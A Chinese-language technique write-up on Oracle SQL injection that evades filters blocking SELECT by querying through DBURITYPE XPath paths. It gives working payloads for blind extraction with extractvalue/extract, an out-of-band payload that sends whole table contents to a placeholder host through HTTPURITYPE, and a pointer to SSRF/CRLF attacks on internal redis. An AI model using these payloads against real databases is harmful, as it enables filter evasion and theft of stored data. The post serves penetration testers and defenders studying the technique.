在实际测试中, 经常遇到一出现SELECT就被拦截的场景, 对于无法多行查询的注入来说,一般遇到这种场景就告别出数据了(能出个user等信息)。闲着读ORACLE文档的时候, 发现ORACLE支持使用Xpath进行查询, 通过使用Xpath可以实现无SELECT查询数据。
测试环境
https://docs.oracle.com/cd/B10501_01/appdev.920/a96616/arxml35.htm#1004694
Description of DBUriType
The DBUriType is a subtype of the UriType that provides support for of DBUri-refs. A DBUri-ref is an intra-database URL that can be used to reference any row or row-column data in the database. The URL is specified as an XPath expression over a XML visualization of the database. The schemas become elements which contain tables and views. These tables and view further contain the rows and columns inside them.
从文档中可以看出DBUriType支持使用XPath表达式查询数据库中的数据。
从上图中能够看出虚拟视图的结构,很容易的能够看出uri的格式为/oradb/schemaname/tablename/ROW[predicate_expression],oradb可省略(也支持查询视图)。
正常查询结果。
使用DBURITYPE查询结果。
本地用JDBC简单搭建个非dba ORACLE SQL注入环境。
1 | String username = req.getParameter("username"); |
盲注
/oradb/schemaname/tablename/ROW[predicate_expression]
1 | select DBURITYPE('/HR/TEST/ROW[USERNAME="admin"]/USERNAME').getxml() from dual |
在测试盲注时, 我没能在predicate_expression中实现模糊查询或者通配, 大概翻了下文档也没找到,只能够进行完整的匹配,不能模糊查询或者通配基本没法盲注。
所以在这里换成了使用extractvalue解析查询出来的xml再进行盲注。
/checkUsername?username=admin’ and extractvalue(DBURITYPE(‘/HR/TEST’).getxml(),’/TEST/ROW[1]/PASSWORD’)like’admin%25’–
能够实现盲注, extractvalue容易被拦,可以换成extract进行盲注,需要查询第二行时修改为ROW[2]即可查询。
使用extract盲注时, 需注意查询出的xml结果会带有列名<PASSWORD>admin</PASSWORD>
。
OOB
oracle本身能够很容易的外带数据, 在能够发送HTTP请求出网时就不再需要盲注,这里直接使用httpuritype外带出dburitype查询出的数据。
/checkUsername?username=a’ and HTTPURITYPE(‘http://HOST/'|| DBURITYPE(‘/HR/TEST’).getxml()).getcontenttype() is null–
外带出了表中的所有数据, 在表中数据数量过于庞大时发送GET请求可能会出现问题。可以使用上面的extract外带一行数据等方法。
SSRF + CRLF
使用httpuritype发送HTTP请求存在CRLF问题, 在存在注入无法RCE时可以尝试打内网的redis等。
References
https://docs.oracle.com/cd/B10501_01/appdev.920/a96616/arxml35.htm#1004694
https://docs.oracle.com/cd/B12037_01/appdev.101/b10790/xdb15dbu.htm#i1032143